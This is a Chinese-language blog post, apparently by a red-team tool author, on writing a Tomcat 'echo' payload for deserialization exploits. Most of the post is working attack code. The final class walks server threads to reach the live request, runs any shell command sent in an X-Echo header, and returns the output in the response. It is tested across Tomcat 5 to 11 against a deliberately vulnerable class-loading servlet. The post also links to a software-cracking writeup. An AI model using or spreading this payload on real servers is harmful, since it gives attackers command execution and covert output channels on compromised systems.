&lt;p&gt;在 2024 年 12 月 31 日，当时我刚写 &lt;a href=&quot;https://github.com/ReaJason/MemShellParty&quot;&gt;MemShellParty&lt;/a&gt; 这个项目没多久，红队大佬 &lt;a href=&quot;https://github.com/xcxmiku&quot;&gt;@xcxmiku&lt;/a&gt; 就找到我说，能不能加一个回显功能，并给我推荐了 &lt;a href=&quot;https://github.com/pen4uin/java-echo-generator&quot;&gt;java-echo-generator&lt;/a&gt; 这个项目，起初我以为只是一个命令执行的内存马，当时也正准备写 MemShellParty Agent 通用内存马，所以一直没有去了解这块。&lt;/p&gt;
&lt;p&gt;时过境迁&lt;/p&gt;
&lt;p&gt;现在 MemShellParty 相对很完善了，所以准备考虑写一些其他 payload 了，后续可能还会做 Web 版的 WebShell 的管理工具（纯玩具版）。&lt;/p&gt;
&lt;h2&gt;回显马&lt;/h2&gt;
&lt;p&gt;通过 &lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;amp;mid=2651374294&amp;amp;idx=3&amp;amp;sn=82d050ca7268bdb7bcf7ff7ff293d7b3&amp;amp;poc_token=HAwjkGijGUyR1zY-umD7QssU8q_hn9IITb68DX4I&quot;&gt;基于全局储存的新思路 | Tomcat 的一种通用回显方法研究&lt;/a&gt; 可了解到，一般反序列化漏洞都是业务环境，无法直接回显带出我们想要的信息，不过通过回显马我们通过对象查找找到 request 和 response 对象，往 response 对象写东西来达到任意业务漏洞环境的回显。&lt;/p&gt;
&lt;p&gt;为了和内存马通过线程遍历找 ServletContext 一致，这边我也决定使用线程遍历找 request 实现回显马，而不考虑 Thread.currentThread()、JmxMBeanServer 等等。&lt;/p&gt;
&lt;h2&gt;学习与实现&lt;/h2&gt;
&lt;p&gt;对于初入网络安全的萌新，做什么东西都感觉已经有大佬铺好路了，只管学就完事了，因此直接找找现成的文章先学习一下思路，根据我装软件的习惯，先不管内容，新的就是最好的。我找到了以下学习资料：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Tomcat/code/TomcatEcho-%E5%85%A8%E7%89%88%E6%9C%AC.jsp&quot;&gt;feihong-cs/Java-Rce-Echo/TomcatEcho-全版本.jsp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/pen4uin/java-echo-generator/blob/main/jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java&quot;&gt;pen4uin/java-echo-generator/TomcatCmdExecTpl.java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vulhub/java-chains&quot;&gt;vulhub/java-chains&lt;/a&gt; — 需要反编译，在 chains-core 中 com.ar3h.chains.gadget.impl.bytecode.echo.template.TomcatEcho2Bytecode.class&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;amp;mid=2651374294&amp;amp;idx=3&amp;amp;sn=82d050ca7268bdb7bcf7ff7ff293d7b3&amp;amp;poc_token=HAwjkGijGUyR1zY-umD7QssU8q_hn9IITb68DX4I&quot;&gt;基于全局储存的新思路 | Tomcat 的一种通用回显方法研究&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;怎么说呢，pen4uin/java-echo-generator 的写法和 feihong-cs/Java-Rce-Echo 很像，但是 java 文件里面写各种 var 的变量名，看着就是反编译谁的代码，这不是给人看的，最后只有 vulhub/java-chains 中 &lt;a href=&quot;https://github.com/Ar3h&quot;&gt;@Ar3h&lt;/a&gt; 的代码稍微能看下去。&lt;/p&gt;
&lt;p&gt;以下是 java-chains/TomcatEcho2Bytecode.class 的代码片段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Thread[] var2 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), &quot;threads&quot;);

for (int var3 = 0; var3 &amp;lt; var2.length; ++var3) {
    Thread var4 = var2[var3];
    if (var4 != null) {
        String var5 = var4.getName();
        if (!var5.contains(&quot;exec&quot;) &amp;amp;&amp;amp; var5.contains(&quot;http&quot;)) {
            Object var6 = getFV(var4, &quot;target&quot;);
            if (var6 instanceof Runnable) {
                try {
                    var6 = getFV(getFV(getFV(var6, &quot;this$0&quot;), &quot;handler&quot;), &quot;global&quot;);
                } catch (Exception var141) {
                    continue;
                }

                List var8 = (List) getFV(var6, &quot;processors&quot;);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便编写一个 Servlet 调试一下 Tomcat 可知，通过 target.this$0.handler.global 这个线程就是 http-nio-8082-Poller 线程，不过在 http-nio-8082-Acceptor 也有获取方式，target.endpoint.handler.global。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;接下来就是看下面获取 request 和 response 部分的代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;List var8 = (List) getFV(var6, &quot;processors&quot;);
for (int var9 = 0; var9 &amp;lt; var8.size(); ++var9) {
    Object var10 = var8.get(var9);
    var6 = getFV(var10, &quot;req&quot;);
    Object var11 = var6.getClass().getMethod(&quot;getResponse&quot;).invoke(var6);
    try {
        var5 = (String) var6.getClass().getMethod(&quot;getHeader&quot;, String.class).invoke(var6, new String(header));
        if (var5 != null &amp;amp;&amp;amp; !var5.isEmpty()) {
            String c = new String(Base64.getDecoder().decode(var5));
            String[] var12 = System.getProperty(&quot;os.name&quot;).toLowerCase().contains(&quot;window&quot;) ? new String[]{&quot;cmd.exe&quot;, &quot;/c&quot;, c} : new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, c};
            writeBody(var11, ((new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(&quot;\\A&quot;).next() + &quot;=====&quot;).getBytes());
            var1 = true;
        }
        if (var1) {
            break;
        }
    } catch (Exception var13) {
        writeBody(var11, var13.getMessage().getBytes());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个地方的 req 类名是 org.apache.coyote.Request，通过 req.getResponse() 获取的 response 类名是 org.apache.coyote.Response，这两个都不是 Servlet 是规范实现，而是 Tomcat 自己的，所以 API 的使用上是有出入的。&lt;/p&gt;
&lt;p&gt;当看到这串代码的时候，我的注意力就来到了这个 Exception 的 message 打印逻辑，因为 e.printStackTrace() 是支持传 PrintWriter 的，例如 e.printStracTrace(response.getWriter()) 这种就能把堆栈报错直接往 response 里面塞，不过这儿是 org.apache.coyote.Response，查了以下只有 doWrit 方法，我就去请教 Gemini 老师了，&lt;a href=&quot;https://g.co/gemini/share/48cdf3e0d7e4&quot;&gt;Tomcat Echo: RCE 漏洞利用技术&lt;/a&gt;，没想到他真会！！！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java.io.StringWriter sw = new java.io.StringWriter();
e.printStackTrace(new java.io.PrintWriter(sw));
String exceptionAsString = sw.toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我又看了看 org.apache.coyote.Response 实现的 writeBody 那个东西又臭又长，i dislike&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static void writeBody(Object var0, byte[] var1) throws Exception {
    byte[] var2 = var1;
    try {
        Class var4 = Class.forName(&quot;org.apache.tomcat.util.buf.ByteChunk&quot;);
        Object var3 = var4.newInstance();
        var4.getDeclaredMethod(&quot;setBytes&quot;, byte[].class, Integer.TYPE, Integer.TYPE).invoke(var3, var2, new Integer(0), new Integer(var2.length));
        var0.getClass().getMethod(&quot;doWrite&quot;, var4).invoke(var0, var3);
    } catch (Exception var6) {
        Class var4 = Class.forName(&quot;java.nio.ByteBuffer&quot;);
        Object var3 = var4.getDeclaredMethod(&quot;wrap&quot;, byte[].class).invoke(var4, var1);
        var0.getClass().getMethod(&quot;doWrite&quot;, var4).invoke(var0, var3);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;转眼我又去看了 &lt;a href=&quot;https://github.com/pen4uin/java-echo-generator/blob/main/jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java&quot;&gt;pen4uin/java-echo-generator&lt;/a&gt; 的实现方式，发现他拿的就是 ServletResponse 的实现，主要是这个 getNote 方法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (int var6 = 0; var6 &amp;lt; var5.size(); ++var6) {
    var3 = var5.get(var6).getClass().getDeclaredField(&quot;req&quot;);
    var3.setAccessible(true);
    var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod(&quot;getNote&quot;, Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);
    String var7;
    try {
        var7 = (String) var3.get(var5.get(var6)).getClass().getMethod(&quot;getHeader&quot;, new Class[]{String.class}).invoke(var3.get(var5.get(var6)), new Object[]{getReqHeaderName()});
        if (var7 != null) {
            Object response = var4.getClass().getDeclaredMethod(&quot;getResponse&quot;, new Class[0]).invoke(var4, new Object[0]);
            Writer writer = (Writer) response.getClass().getMethod(&quot;getWriter&quot;, new Class[0]).invoke(response, new Object[0]);
            writer.write(exec(var7));
            writer.flush();
            writer.close();
            break;
        }
    } catch (Exception ignored) {
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个我跟了一下源码（方法就是，前面不是打了断点，在堆栈那个视图，一个一个点，看里面的方法体里面有没有相关的东西，有时候点过去位置不对就搜一下方法名，直接看方法），就是 org.apache.catalina.connector.CoyoteAdapter#service 这个前几行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static final int ADAPTER_NOTES = 1;

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {

    Request request = (Request) req.getNote(ADAPTER_NOTES);
    Response response = (Response) res.getNote(ADAPTER_NOTES);

    if (request == null) {
        // Create objects
        request = connector.createRequest();
        request.setCoyoteRequest(req);
        response = connector.createResponse();
        response.setCoyoteResponse(res);

        // Link objects
        request.setResponse(response);
        response.setRequest(request);

        // Set as notes
        req.setNote(ADAPTER_NOTES, request);
        res.setNote(ADAPTER_NOTES, response);

        // Set query string encoding
        req.getParameters().setQueryStringCharset(connector.getURICharset());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就简单了，看起来 &lt;a href=&quot;https://github.com/pen4uin/java-echo-generator/blob/main/jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java&quot;&gt;pen4uin/java-echo-generator&lt;/a&gt; 还是有可以借鉴的地方，学习了，按着这个思路，以下是我的第一版漂亮代码。（注释要写好，以免下次看到又忘记了）getFieldValue 和 invokeMethod 可直接在 MemShellParty 中搜索实现，这个下面就不展示了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class TomcatEcho {
    public TomcatEcho() {
        try {
            Set&amp;lt;Thread&amp;gt; threads = Thread.getAllStackTraces().keySet();
            for (Thread thread : threads) {
                Object target = getFieldValue(thread, &quot;target&quot;);
                if (target instanceof Runnable) {
                    Object requestGroupInfo;
                    try {
                        requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, &quot;this$0&quot;), &quot;handler&quot;), &quot;global&quot;);
                    } catch (NoSuchFieldException ignored) {
                        continue;
                    }
                    if (requestGroupInfo == null) {
                        continue;
                    }
                    List&amp;lt;?&amp;gt; processors = (List&amp;lt;?&amp;gt;) getFieldValue(requestGroupInfo, &quot;processors&quot;);
                    for (Object processor : processors) {
                        // org.apache.coyote.Request
                        Object coyoteRequest = getFieldValue(processor, &quot;req&quot;);
                        // org.apache.catalina.connector.Request
                        Object request = invokeMethod(coyoteRequest, &quot;getNote&quot;, new Class[]{Integer.class}, new Object[]{1});
                        // org.apache.catalina.connector.Response
                        Object response = invokeMethod(request, &quot;getResponse&quot;, null, null);
                        String data = getDataFromRequest(request);
                        if (data != null &amp;amp;&amp;amp; !data.isEmpty()) {
                            PrintWriter writer = (PrintWriter) invokeMethod(response, &quot;getWriter&quot;, null, null);
                            try {
                                writer.write(run(data));
                            } catch (Throwable e) {
                                e.printStackTrace(writer);
                            }
                            writer.flush();
                            writer.close();
                            return;
                        }
                    }
                }
            }
        } catch (Throwable ignored) {
        }
    }

    private String getDataFromRequest(Object request) throws Exception {
        return (String) invokeMethod(request, &quot;getHeader&quot;, new Class[]{String.class}, new Object[]{&quot;X-Echo&quot;});
    }

    private String run(String data) throws Exception {
        String[] cmd = System.getProperty(&quot;os.name&quot;).toLowerCase().contains(&quot;window&quot;) ? new String[]{&quot;cmd.exe&quot;, &quot;/c&quot;, data} : new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, data};
        return new Scanner((new ProcessBuilder(cmd)).start().getInputStream()).useDelimiter(&quot;\\A&quot;).next();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;自动化测试&lt;/h2&gt;
&lt;p&gt;写好之后，应该怎么测试，我想这也是为什么那么多人 CV 的原因，大佬写了一版测了那么多，我又不测试，要不就直接 CV 吧，生怕改坏了（或者他这么写一定有他的道理的，还是不改了）。&lt;/p&gt;
&lt;p&gt;了解 MemShellParty 的人都知道，里面有超多中间件测试镜像，自带靶场，那测试一个回显自然不在话下。&lt;/p&gt;
&lt;p&gt;测试步骤为，在靶场写一个 RCE，然后将回显的字节码发送给靶场，assert 靶场的响应为我们预期即可。&lt;/p&gt;
&lt;p&gt;我写了一个超级无敌 RCE 的 base64 defineClass 的漏洞靶场，直接读取 data 中的 base64 类字节码进行加载，并且往响应里面打印类对象（会自动 toString，也可以测其他恶意代码写在 toString 的 payload）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Base64ClassLoaderServlet extends ClassLoader implements Servlet {
    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String data = req.getParameter(&quot;data&quot;);
        try {
            byte[] bytes = decodeBase64(data);
            Object obj = defineClass(null, bytes, 0, bytes.length).newInstance();
            res.getWriter().print(obj);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来就是编写测试流程，通过 &lt;a href=&quot;https://java.testcontainers.org/quickstart/junit_5_quickstart/&quot;&gt;Testcontainers&lt;/a&gt; 启动环境并部署靶场，发送请求 assert 响应结果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Slf4j
@Testcontainers
public class Tomcat8ContainerTest {
    public static final String imageName = &quot;tomcat:8-jre8&quot;;

    @Container
    public final static GenericContainer&amp;lt;?&amp;gt; container = new GenericContainer&amp;lt;&amp;gt;(imageName)
            .withCopyToContainer(warFile, &quot;/usr/local/tomcat/webapps/app.war&quot;) // 挂载靶场包
            .waitingFor(Wait.forHttp(&quot;/app&quot;)) // 等待靶场成功，/app 可访问
            .withExposedPorts(8080); // 暴露端口

    public static String getUrl(GenericContainer&amp;lt;?&amp;gt; container) {
        int port = container.getMappedPort(8080); // 获取 8080 随机映射端口
        String url = &quot;http://127.0.0.1:&quot; + port + &quot;/app&quot;;
        log.info(&quot;container started, app url is : {}&quot;, url);
        return url;
    }

    @Test
    @SneakyThrows
    void testCommandEcho() {
        String url = getUrl(container);
        String content = DetectionTool.getBase64Class(TomcatEcho.class);
        RequestBody requestBody = new FormBody.Builder()
                .add(&quot;data&quot;, content)
                .build();
        Request request = new Request.Builder()
                .header(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;)
                .header(&quot;X-Echo&quot;, &quot;id&quot;)
                .url(url + &quot;/b64&quot;).post(requestBody)
                .build();
        try (Response response = new OkHttpClient().newCall(request).execute()) {
            System.out.println(container.getLogs()); // 打印 Tomcat 容器日志，在 TomcatEcho 加打印可以直接看
            assertThat(response.body().string(), anyOf(
                    containsString(&quot;uid=&quot;)
            ));
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3s 左右就能跑完一个中间件的测试，香得一！！！&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;接下来就是编写回显命令执行异常的回显情况，执行系统没有的命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Test
@SneakyThrows
void testCommandEchoException() {
    String url = getUrl(container);
    String content = DetectionTool.getBase64Class(TomcatEcho.class);
    RequestBody requestBody = new FormBody.Builder()
            .add(&quot;data&quot;, content)
            .build();
    Request request = new Request.Builder()
            .header(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;)
            .header(&quot;X-Echo&quot;, &quot;hello&quot;)
            .url(url + &quot;/b64&quot;).post(requestBody)
            .build();
    try (Response response = new OkHttpClient().newCall(request).execute()) {
        assertThat(response.body().string(), anyOf(
                containsString(&quot;hello: not found&quot;)
        ));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码调整为如下，InputStream 没东西就拿 ErrorStream&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private String run(String data) throws Exception {
    String[] cmd = System.getProperty(&quot;os.name&quot;).toLowerCase().contains(&quot;window&quot;) ? new String[]{&quot;cmd.exe&quot;, &quot;/c&quot;, data} : new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, data};
    Process process = new ProcessBuilder(cmd).start();
    try {
        return new Scanner(process.getInputStream()).useDelimiter(&quot;\\A&quot;).next();
    } catch (NoSuchElementException e) {
        return new Scanner(process.getErrorStream()).useDelimiter(&quot;\\A&quot;).next();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在测试 JDK21 的 Tomcat 环境下一直报错，发现是 JDK21 的线程没有 target 了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object target = null;
try {
    target = getFieldValue(thread, &quot;target&quot;);
} catch (NoSuchFieldException e) {
    // JDK 21
    target = getFieldValue(getFieldValue(thread, &quot;holder&quot;), &quot;task&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我在测试 Tomcat5 的环境时，一直失败，自动化测试的好处就是，改了一点代码就能直接跑进行验证，所以我一边打印一边猜测哪里可能有问题进行代码调整，这样测试了好半天也没结果，决定还是起环境调试吧。&lt;/p&gt;
&lt;h2&gt;Tomcat5 回显&lt;/h2&gt;
&lt;p&gt;MemShellParty 自带很多 docker 环境，可直接测试，启动 integration-test/docker-compose/tomcat/docker-compose-5-jdk6.yaml，（war 包就是项目里面的靶场包，编译命令为 &lt;code&gt;./gradlew :vul:vul-webapp:war&lt;/code&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  tomcat56:
    image: reajason/tomcat:5-jdk6
    ports:
      - &quot;8080:8080&quot;
      - &quot;5005:5005&quot;
    environment:
      JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
    volumes:
      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开启远程调试，在靶场的 TestServlet.java 打断点，发请求&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我在控制台里面翻了好久，突然想起来大佬说用 &lt;a href=&quot;https://github.com/c0ny1/java-object-searcher&quot;&gt;c0ny1/java-object-searcher&lt;/a&gt;，不过我还是决定另辟蹊径，使用 HeapDump 配合 JProfiler。&lt;/p&gt;
&lt;p&gt;停掉断点，然后进容器进行 heapDump，最后一个 1 为 PID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[root@b2b07b202dd6 tomcat]# jmap -dump:format=b,file=heapdump.hprof 1
Dumping heap to /usr/local/tomcat/heapdump.hprof ...
Heap dump file created
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在终端将文件移动出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ docker ps
CONTAINER ID   IMAGE                    COMMAND                  CREATED          STATUS          PORTS                                                                                      NAMES
b2b07b202dd6   reajason/tomcat:5-jdk6   &quot;/usr/local/tomcat/b…&quot;   10 minutes ago   Up 10 minutes   0.0.0.0:5005-&amp;gt;5005/tcp, [::]:5005-&amp;gt;5005/tcp, 0.0.0.0:8080-&amp;gt;8080/tcp, [::]:8080-&amp;gt;8080/tcp   tomcat-tomcat56-1
8f40f6fb2832   e334cc02300c             &quot;buildkitd --allow-i…&quot;   3 months ago     Up 11 days                                                                                                 buildx_buildkit_mybuilder0

░▒▓
❯ docker cp b2:/usr/local/tomcat/heapdump.hprof .
Successfully copied 28.7MB to /Users/reajason/Downloads/.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开 JProfiler（激活问题可参考：&lt;a href=&quot;https://reajason.eu.org/writing/jprofilerv15crackedwithida/&quot;&gt;记录 JProfiler V15 破解&lt;/a&gt;）就会弹出 JProfiler Start Center，点 Open Snapshots 的第一个，然后选中我们的 heapDump 文件。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这时候需要我们想一想我们要搜什么对象，根据前文的回显机制，就是获取到 global 里面有 processors 就能遍历请求了，global 这个对象的类名是 org.apache.coyote.RequestGroupInfo，我们就搜这个。&lt;/p&gt;
&lt;p&gt;在下面的 Class View Filter 里面输入并回车。可以看到 InstanceCount 实例对象是有两个的。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;双击，选择 References 里面的 Incoming references，这个意思是查找谁引用了这个对象。另外一个 Outcomming references 就反过来，选中对象引用了哪些其他对象。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;有两个，这种情况看下差别，很明显我们要拿 RequestInfo 下面这个看起来比较可靠&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在第二个对象右键，选择第一个，意为只选中当前对象进行分析，同样弹出的框，仍然选择 Incoming references&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;点击一下这个对象，展开一下，这个时候就可以点击右边的 Show Paths to GC Root，这个的目的就是查到对象的引用链路。选择的配置按如图。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最下面这个 resource 看起来就是 JmxMBeanServer 的方式，因为我们要遍历线程，所以我们需要找最下面一直到 java.lang.Thread 的线路。&lt;/p&gt;
&lt;p&gt;红色的向上箭头指的是 GC 路径上的点，但是这种情况信息有点少，在 global 这个节点，点一下收缩，再点一下展开，就能看到更多的信息，如下图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;通过翻找和 Thread 相关的节点，找到如下链路&lt;/p&gt;
&lt;p&gt;target.toRun.endpoint.handler.global&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如下是第二条链路&lt;/p&gt;
&lt;p&gt;thData.[index].endpoint.handler.global&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;像这种还有很多，大家感兴趣可以自己尝试一下，我们可以开启断点再验证一下。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;两个都是获取到的一个对象，因此都是可用的。为减少代码量，我选择第一条链路，直接属性调用，不需要遍历可以减少代码。&lt;/p&gt;
&lt;p&gt;与此同时，我发现在过滤线程时写的 &lt;code&gt;!var5.contains(&quot;exec&quot;) &amp;amp;&amp;amp; var5.contains(&quot;http&quot;)&lt;/code&gt; 不够完美，根据前面获取 request 的方式，我们就是希望从 Poller 或者 Acceptor 线程拿，因此我们可以直接指定线程特征进行解析，后续为了优化这个线程过滤的判断，我打印了所有命中的 threadName 和 targetClassName（已在注释中标记），也顺便排除了一下 ajp 线程。&lt;/p&gt;
&lt;h2&gt;最终实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;public class TomcatEcho {

    static {
        new TomcatEcho();
    }

    public TomcatEcho() {
        try {
            Set&amp;lt;Thread&amp;gt; threads = Thread.getAllStackTraces().keySet();
            for (Thread thread : threads) {
                Object target = null;
                try {
                    target = getFieldValue(thread, &quot;target&quot;);
                } catch (NoSuchFieldException e) {
                    // JDK 21
                    target = getFieldValue(getFieldValue(thread, &quot;holder&quot;), &quot;task&quot;);
                }
                if (target == null) {
                    continue;
                }
                Object requestGroupInfo = null;
                // Tomcat6 http-8080-Acceptor-0 &amp;lt;-&amp;gt; org.apache.tomcat.util.net.JIoEndpoint$Acceptor
                // Tomcat7 http-apr-8080-Poller &amp;lt;-&amp;gt; org.apache.tomcat.util.net.AprEndpoint$Poller
                // Tomcat8 http-nio-8080-Poller &amp;lt;-&amp;gt; org.apache.tomcat.util.net.NioEndpoint$Poller
                // Tomcat9 http-nio-8080-ClientPoller-0 &amp;lt;-&amp;gt; org.apache.tomcat.util.net.NioEndpoint$Poller
                // Tomcat10 http-nio-8080-Poller &amp;lt;-&amp;gt; org.apache.tomcat.util.net.NioEndpoint$Poller
                // Tomcat11 http-nio-8080-Poller &amp;lt;-&amp;gt; org.apache.tomcat.util.net.NioEndpoint$Poller
                String threadName = thread.getName();
                if ((threadName.contains(&quot;Poller&quot;) || threadName.contains(&quot;Acceptor&quot;))
                        &amp;amp;&amp;amp; !threadName.contains(&quot;ajp&quot;)
                ) {
                    try {
                        requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, &quot;this$0&quot;), &quot;handler&quot;), &quot;global&quot;);
                    } catch (NoSuchFieldException ignored) {
                        continue;
                    }
                } else if (target.getClass().getName().contains(&quot;ThreadPool$ControlRunnable&quot;)) {
                    // Tomcat5 http-8080-Processor23 &amp;lt;-&amp;gt; org.apache.tomcat.util.threads.ThreadPool$ControlRunnable
                    try {
                        Object toRun = getFieldValue(target, &quot;toRun&quot;);
                        if (toRun != null) {
                            requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(toRun, &quot;endpoint&quot;), &quot;handler&quot;), &quot;global&quot;);
                        }
                    } catch (NoSuchFieldException e) {
                        continue;
                    }
                }
                if (requestGroupInfo == null) {
                    continue;
                }
                List&amp;lt;?&amp;gt; processors = (List&amp;lt;?&amp;gt;) getFieldValue(requestGroupInfo, &quot;processors&quot;);
                for (Object processor : processors) {
                    // org.apache.coyote.Request
                    Object coyoteRequest = getFieldValue(processor, &quot;req&quot;);
                    // org.apache.catalina.connector.Request
                    Object request = invokeMethod(coyoteRequest, &quot;getNote&quot;, new Class[]{Integer.TYPE}, new Object[]{1});
                    // org.apache.catalina.connector.Response
                    Object response = invokeMethod(request, &quot;getResponse&quot;, null, null);
                    String data = getDataFromRequest(request);
                    if (data != null &amp;amp;&amp;amp; !data.isEmpty()) {
                        PrintWriter writer = (PrintWriter) invokeMethod(response, &quot;getWriter&quot;, null, null);
                        try {
                            writer.write(run(data));
                        } catch (Throwable e) {
                            e.printStackTrace(writer);
                        }
                        writer.flush();
                        writer.close();
                        return;
                    }
                }
            }
        } catch (Throwable ignored) {
        }
    }

    private String getDataFromRequest(Object request) throws Exception {
        return (String) invokeMethod(request, &quot;getHeader&quot;, new Class[]{String.class}, new Object[]{&quot;X-Echo&quot;});
    }

    private String run(String data) throws Exception {
        String[] cmd = System.getProperty(&quot;os.name&quot;).toLowerCase().contains(&quot;window&quot;) ? new String[]{&quot;cmd.exe&quot;, &quot;/c&quot;, data} : new String[]{&quot;/bin/sh&quot;, &quot;-c&quot;, data};
        Process process = new ProcessBuilder(cmd).start();
        try {
            return new Scanner(process.getInputStream()).useDelimiter(&quot;\\A&quot;).next();
        } catch (NoSuchElementException e) {
            return new Scanner(process.getErrorStream()).useDelimiter(&quot;\\A&quot;).next();
        }
    }

     @SuppressWarnings(&quot;all&quot;)
    public static Object invokeMethod(Object obj, String methodName, Class&amp;lt;?&amp;gt;[] paramClazz, Object[] param) throws Exception {
        Class&amp;lt;?&amp;gt; clazz = (obj instanceof Class) ? (Class&amp;lt;?&amp;gt;) obj : obj.getClass();
        Method method = null;
        while (clazz != null &amp;amp;&amp;amp; method == null) {
            try {
                if (paramClazz == null) {
                    method = clazz.getDeclaredMethod(methodName);
                } else {
                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                }
            } catch (NoSuchMethodException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (method == null) {
            throw new NoSuchMethodException(obj.getClass() + &quot; Method not found: &quot; + methodName);
        }
        method.setAccessible(true);
        return method.invoke(obj instanceof Class ? null : obj, param);
    }

    @SuppressWarnings(&quot;all&quot;)
    public static Object getFieldValue(Object obj, String name) throws Exception {
        Class&amp;lt;?&amp;gt; clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                Field field = clazz.getDeclaredField(name);
                field.setAccessible(true);
                return field.get(obj);
            } catch (NoSuchFieldException var5) {
                clazz = clazz.getSuperclass();
            }
        }
        throw new NoSuchFieldException(obj.getClass().getName() + &quot; Field not found: &quot; + name);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MemShellParty 2.0 已发布，欢迎使用~。&lt;/p&gt;
&lt;h2&gt;额外的测试&lt;/h2&gt;
&lt;p&gt;RequestGroupInfo 中拿到的 processors 是 Tomcat 整个生命周期所有的 RequestInfo 对象，其中也包含其他业务请求，当业务在高并发环境下做回显马利用，会不会有修改其他业务请求回显的风险，导致业务行为中断。&lt;/p&gt;
&lt;p&gt;测试方法，编写 K6 压测脚本，10 线程并行压测业务接口，并断言响应码为 200，调整回显马代码，回显成功时修改 response.statusCode 为 201，在压测过程中，发送回显马利用，如果有影响，压测报告中会有不是 200 的响应结果。&lt;strong&gt;结论是当前回显马并不会影响正常业务&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;压测脚本：k6test.js&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import http from &apos;k6/http&apos;;
import {check, sleep} from &apos;k6&apos;;

export const options = {
    rps: 4500,
    vus: 10,
    duration: &apos;5m&apos;,
};

export default function () {
    const res = http.get(&apos;http://localhost:8082/app/test&apos;);
    check(res, {
        &apos;status is 200&apos;: (r) =&amp;gt; r.status === 200,
    });
